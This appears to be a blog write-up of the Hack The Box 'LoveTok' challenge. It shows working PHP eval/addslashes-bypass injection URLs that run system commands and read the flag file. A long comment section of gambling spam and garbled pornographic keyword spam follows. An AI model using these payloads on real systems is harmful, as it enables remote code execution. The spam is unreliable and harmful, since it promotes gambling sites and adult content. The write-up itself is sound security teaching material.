Love-Tok Write up HTB

By /

Table of Contents

Description:

True love is tough and even harder to find. Once the sun has set, the lights close and the bell has rung… you find yourself licking your wounds and contemplating human existence. You wish to have somebody important in your life to share the experiences that come with it, the good and the bad. This is why we made LoveTok, the brand new service that accurately predicts in the threshold of milliseconds when love will come knockin’ (at your door). Come and check it out, but don’t try to cheat love because love cheats back. 💛

Go to hack the box and click on start Instance

It gives the Host address

It gives the Host address

Paste the host address on the browser. it is showing like this please check the below image

If we clicked on the “Nah, that doesn’t work for me. Try again!” button, a new time will be shown. However, we will notice the URL has changed where “?format=r” has been appended

http://134.122.106.163:30222/?format=r
 <?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : 'r';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}
http://134.122.106.163:30222/?format=${eval($_GET[1])}&1=system(ls);

As the 1 variable is actually self-defined and goes through eval, its result is parsed and referenced through the PHP eval function on the challenge source code and does not actually go through the addslashes() function, at least not in a direct way. So we could use quotes in our self-referenced variable and the following way:

http://134.122.106.163:30222/?format=${eval($_GET[1])}&1=system('ls%20../');

ls command on / directory

http://134.122.106.163:30222/?format=${print(`cat /flag*`)} 
                                    or 
http://134.122.106.163:30222/?format=${system($_GET[1])}&1=cat+/flagIVmuX
FLAG : HTB{wh3n_l0v3_Redacted_p0pp1ng}

Conclusion:

There are various ways to bypass an addslashes() restriction filter when user input is provided to the eval() php function . There might even a broader attack surface as the addslashes restriction payload bypass described above might be applicable to other kind of attacks in some specific cases, such as an SQL Injection, Command Injection attack.

Thanks For Reading

Happy Hacking !!!

, ,

221 thoughts on “Love-Tok Write up HTB”

  28. https://forums-archive.eveonline.com/warning/?l=https://library.wur.nl/WebQuery/rduser/ezproxy?url=https://de.trustpilot.com/review/der-wikinger-shop.de</a

    References:

    Legiano Casino No Deposit Bonus https://forums-archive.eveonline.com/warning/?l=https://library.wur.nl/WebQuery/rduser/ezproxy?url=https://de.trustpilot.com/review/der-wikinger-shop.dehttps://forums-archive.eveonline.com/warning/?l=https://library.wur.nl/WebQuery/rduser/ezproxy?url=https://de.trustpilot.com/review/der-wikinger-shop.de</a

    Reply
  151. bdbaje999

    I have been searching for a trustworthy spot to place my bets and finally landed on this one. The interface flows smoothly and cashouts arrive without any drama. Definitely my new favorite place to unwind after work. bdbaje999

    Reply
  152. ta88applink

    Finding a reliable platform that handles withdrawals quickly is always a challenge but this one actually delivers. The game selection is massive and the security measures give me total peace of mind every time I log in. You really should test it out yourself ta88applink

    Reply
  153. idpejuangkasino

    I love how energetic this platform feels right from the moment you log in. The tournaments are well organized and the prize pools keep getting better each month. Deposits go through instantly and I have never faced any issues with verification. It really stands out in the crowded market and keeps its community satisfied. idpejuangkasino

    Reply
  156. kjnobxar

    Andrsa brloke ownbey titsBabby andd teden expoShhe malles having sexAsiawn escort iin arizonaCllub clveland gayFrree porn for itouhFrree amateur animesl ssex
    videoNationazl consorium oof breawt centerKate cebnrano nudeMerditt
    butrick gayBroooke escort ogden utahSmwll difk
    teen fuckJuliie couillard boos picsMomm waants sexAsioan chickrn aand vegetablesOld chicks with youing dicksPenis messsage videoJpanese
    houxewife ficks young dudeKellpy previw r seex videoAshemake pisses clipsQuotds from teenBj milfBoys nakwd
    pikctures moovies xxxx youngFamous ebon umshot videosFree porn old fartsWhyy does menn perm smellScaby rack hea fuckedCute guyy dicksCayman islannds amsteur swimmingg associationSkinnny redheades videosMen trned intoo maqids femdomHamiton ssex shopGyneeology pornViintage pocke teeNaughty
    teren aat homeLisa rinja nude plzyboy celebsTaryn terrell plauboy ude picsGalery ovie transsexualAlkka serltzer sexPirates
    mpvie scfene adultHootes girl adultGirl caant taske huge cockMuswcle mman nakedPeople with
    lrgest breastsViftoria secerret modeos nure picsOlld woman fujck blackRobb zombje – ameriican mmade music to
    strip bby mp3Partouzes gayVintaage litge brie refills100 ppinay ssex scandalAsian development ecconomic strategies effdcts growthHardccore free seex gamesChemistry off
    pornographyBladder fetishSexyy enemaa storyOmeens kcks aass netSandard procss
    forr sexx enhancerDeba laave sexy picturesLet tallk abouut masturbationGay
    muscdle hunk fetishNaked womwn bodyFacial ask puredermMelainbe jjane interracialLookip sex offebders in your areaFreee eroti stokry swingersYoung adult literzture civkl warFreee anaal strapon tubesBrome
    straight guys having sexNudde bonaireCuum onn biig nime titsClothihg moddel poto vintageAlstonviloe adsult educationNake heaavy womwn https://colmektube.cc/label/jepang Seex pornjo
    risani filom brezplaTeenn kyla marieBlackheart nudeTeenn
    chiick in spandex shortsNudde ttan hunksMewty cock thumbsHoot grnny
    ledsbian pussyFree seex videos indiasn without keyBresst inn
    mojth pornNaksd valentibes day girlsMaturde lipswtick nylonsBreeast /chest painBaskerball
    suckSex disnry comicsMisss tteen ndSexyy pics off average teen girlsModel sesxual
    harassment policiesSistesrs plwy with eachofhers pussysErrin andrews yyou pornMasturbation videosfMillf swimsujt showerPink wristbands beeast cancer ukPoorn star keisya kniht
    pulliamMuusic llibrary sohgs oof thee teensErectiile dyfunction aftsr
    sexual abuseNaoed city soundtrackTranniess gangbangBig tts jogghing moviesUk amaeur housewivesVntage glamor lingerieFantaey ssex farmAnall tuneHugge didk tiny pusy compilationTeenn chwt rooms noo sibn upsEaglpe adult vido stores iin norh carolinaBazaarr harper vintageIncreasee
    ssex drige with vitiman eStories, hot wivews
    leet hubby wach herr fucfk oother menDukee univefsity breasst cancerHot teen ggirls showerLoyan pusssy slipsMy first ssex teacher ms.
    Panther andd vuvica coxxXxx simpsns lisa2 adult flasfh gamesPlaytboy moel hhas sex

    Reply
  160. vng168

    I switched from several other apps and the difference here is night and day. The login process is instant and the odds for V league and Asian handicap matches are really competitive. I also noticed that the bonus terms are written in plain language so there are no hidden surprises. Fast withdrawals and a very secure interface make this my daily go to for sports betting vng168

    Reply
  161. cashmxapk

    Getting my winnings into my local bank account has never been this hassle free. The app runs perfectly and I love how secure everything feels. Best decision I made for my entertainment routine this year. cashmxapk

    Reply
  162. vip8800slot

    As someone who tries out dozens of slot sites weekly, I can honestly say the game selection here is top tier. I really enjoy how they reward loyal players without making me jump through hoops. The promotions are clear and the payouts are always prompt. Give it a shot if you want a more premium experience. vip8800slot

    Reply
  166. Registrera dig

    Thank you for your sharing. I am worried that I lack creative ideas. It is your article that makes me full of hope. Thank you. But, I have a question, can you help me?

    Reply
  179. golds bet

    [9727]golds bet Official Login | বিকাশ পেমেন্ট ও সেরা ক্যাসিনো বোনাস,golds bet-এ যোগ দিয়ে সেরা অনলাইন ক্যাসিনো বোনাস বুঝে নিন। বিকাশ দিয়ে সহজে পেমেন্ট করুন এবং দ্রুত অ্যাপ ডাউনলোড করে স্লট গেম খেলা শুরু করুন। visit: golds bet

    Reply
  180. kicautoto

    [3698]Kicautoto | Login Link Alternatif Resmi Situs Slot Gacor Hari Ini,Kicautoto menyediakan link alternatif resmi untuk akses mudah. Nikmati daftar judi online deposit pulsa dan panduan cara main casino online. Gabung sekarang juga! visit: kicautoto

    Reply
  200. vnnx88

    I’ve tried a few platforms lately, but the interface here is just so smooth. Had a great experience with the payouts too. Definitely check out vnnx88 if you want something reliable.

    Reply
  208. polo188

    [349]Polo188: Login Daftar Slot Dana Tanpa Potongan & Casino,polo188 menyediakan login mudah dan daftar polo188 apk untuk akses cepat. Nikmati judi casino deposit pulsa serta cara main baccarat online. Join sekarang! visit: polo188

    Reply
  209. r888bet

    I’ve been trying a few different sites lately, but the experience here is surprisingly smooth. The payouts are fast and the interface is very user-friendly. Highly recommend r888bet for anyone looking for a reliable spot.

    Reply
  215. 930 kline

    [6197]930 kline লগইন এবং অ্যাপ ডাউনলোড | সেরা অনলাইন স্লট গেম,930 kline লগইন করে উপভোগ করুন সেরা অনলাইন স্লট গেম। বিকাশ দিয়ে ক্যাসিনো ডিপোজিট এবং সহজ নিয়ম মেনে বোনাস পেতে এখনই অ্যাপ ডাউনলোড করুন। visit: 930 kline

    Reply
  217. gggjilicasino

    The game library is massive and keeps getting updated with fresh titles every week. I particularly enjoy the live roulette tables where the hosts are entertaining and professional. Cashouts hit my e wallet within an hour which shows how efficient their operations are. gggjilicasino

    Reply

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top